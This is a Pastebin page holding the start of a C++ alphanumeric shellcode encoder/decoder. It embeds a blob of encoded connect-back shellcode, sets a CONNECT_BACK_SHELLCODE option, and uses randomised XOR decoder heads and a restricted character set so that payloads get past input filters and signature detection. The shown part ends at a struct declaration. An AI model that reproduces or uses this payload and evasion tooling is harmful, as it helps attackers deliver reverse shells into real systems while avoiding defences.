emS-St1ks

Shellcode Encoder Decoder AN

Aug 24th, 2012
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.08 KB | None | 0 0
  1. #include <time.h>
  2. #include <stdio.h>
  3. #include <windows.h>
  4.  
  5. #define MAX_BYTES                            0x100
  6. #define MAX_ENCODED_SHELLCODE                2000 //this will be allocated on the stack
  7. #define MIN_IP_STR_LEN                       7
  8. #define MAX_IP_STR_LEN                       15
  9.  
  10. #define OFFSET_XOR_AL1_A                     15
  11. #define OFFSET_XOR_AL1_B                     18
  12. #define OFFSET_XOR_AL2_A                     37
  13. #define OFFSET_XOR_AL2_B                     40
  14. #define OFFSET_PUSH_DWORD1                   0
  15. #define OFFSET_PUSH_DWORD2                   1
  16. #define OFFSET_PUSH_DWORD3                   4
  17. #define OFFSET_PUSH_DWORD4                   12
  18. #define OFFSET_RANDOMIZED_DECODER_HEAD       14
  19. #define SIZE_RANDOMIZED_DECODER_HEAD         16
  20. BYTE EncodedShellcode[] = // encoded 336 bytes
  21.         "PZhUQPTX5UQPTHHH4D0B8RYkA9YA3A9A2B90B9BhPTRWX5PTRW4r8B9ugxPqy8xO"
  22.         "wck4WTyhlLlUjyhukHqGCixVLt4UTCBRwsV3pRod8OLMKO9FXJVTJJbJX4gsVXAt"
  23.         "Q3ukAxFmVIw7HyBfDyNv5zXqg4PQeTxZJLm56vRjSidjSz75mHb2RL5Hl30tUmnH"
  24.         "HtXEv7oZVdiEv1QwWijcgVk4CZn7NI3uRai32AZ7FS0Iq1cwWc5T5RlnTIiKJVmq"
  25.         "4T4MElucobfP4vWyB0OfB34JRJ9T4zjLlbKmlk7jTicj11869F001uAdTZKNJ7wL"
  26.         "mOv5mLlGPKFLtNI2525WhktKDO0NIlseHIuJ33xv7xGQAW55eZKXHw78zfvCI2U0"
  27.         "9Ulw5ZZhynmxG7JZZgJAYbg1MEp5QcOv7AYkYfcHQDWVMlJnzOSh8nzg1NZZn5Px"
  28.         "11U5INVEtvZOS1E094HqmbB6K1MfRIq7KQyNOeL7NHI1Xnwhyhy69bg2bTexGnkc"
  29.         "CEt90vn3DaFxGaFuRIPg0NK40kdg0L9ImaFbGy1Wl7JyGeJByHdfRCSYzvCzVa2v"
  30.         "RtQWG5lxRMN1CZREvyKFvfwij3X2P81J1wk9ZLmGAqxGPuQv7RBX411iaWKCLGnD"
  31.         "kwRZKREaRis5V7c5ILxKfAx6MbH40T53PnX9ZwSWtYzbHwCzkS0Ev5iVmLmS3xSk"
  32.         "1telLPYuGyNvX1TyJ3yLdOwckr";
  33.  
  34. // example: make encoder choose more uppercase bytes...
  35. #define ADDITIONAL_CHARSET                   "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  36.  
  37. #define ALNUM_CHARSET    ADDITIONAL_CHARSET  "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" // <--- allowed charset
  38.                                                                                                               //      feel free to
  39. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////change - YMMV
  40. #define REGISTER_WITH_ADDRESS_OF_SHELLCODE   esp // <--- change this to the register holding the address of the decoder////////////
  41. #define _Q(str) #str
  42. #define Q(str) _Q(str)          
  43. #define P(str) #str ##" // <--- buffer offset\n"## _Q(str)
  44. ///////////////////////////////////
  45. #define CONNECT_BACK_SHELLCODE   //
  46. //#undef  CONNECT_BACK_SHELLCODE //undefine CONNECT_BACK_SHELLCODE to use your own - and place it in shellcode[] >-----------------.
  47.                                  ///////////////////////////////////////////////////////////////////                               |
  48. int main();                                                                                       //                               |
  49. UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length); //                               |
  50. UCHAR get_push_register_instruction(UCHAR *reg);                                                  //                               |
  51. UCHAR get_random_alnum_value();                                                                   //                               |
  52. UCHAR get_random_alnum_push_dword_opcode();                                                       //                               |
  53. UCHAR *get_nop_slide(UINT size, UINT slide);                                                      ///////                          |
  54. UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);//                          |
  55. UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);   //                          |
  56. UCHAR *shuffle(UCHAR str[], UINT length);                                                         ///////                          |
  57. DWORD my_htonl(DWORD dw_in);                                                                      //                               |
  58. DWORD ip_str_to_dw(UCHAR *str);                                                                   //                               |
  59. BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key);                       //                               |
  60. BOOL is_alnum(UCHAR c);                                                                           //                               |
  61. BOOL str_is_alnum(UCHAR *str);                                                                    //                               |
  62. UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index);                  //                               |
  63. UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1);  //                               |
  64. struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c);                            //                               |
  65. struct xor2_key *choose_random_node(struct xor2_key *head);                                       //                               |
  66. void free_p_xor2_key(struct xor2_key *node);                                                      //                               |
  67.                                                                                                   //                               |
  68. struct xor2_key {                                                                                 //                               |
  69.     UCHAR xor2;                                                                                   //                               |
  70.     UCHAR key;                                                                                    //                               |
  71.     struct xor2_key *prev;                                                                        //                               |
  72.     struct xor2_key *next;                                                                        //                               |
  73. } xor2_key;
Advertisement
Add Comment
Please, Sign In to add comment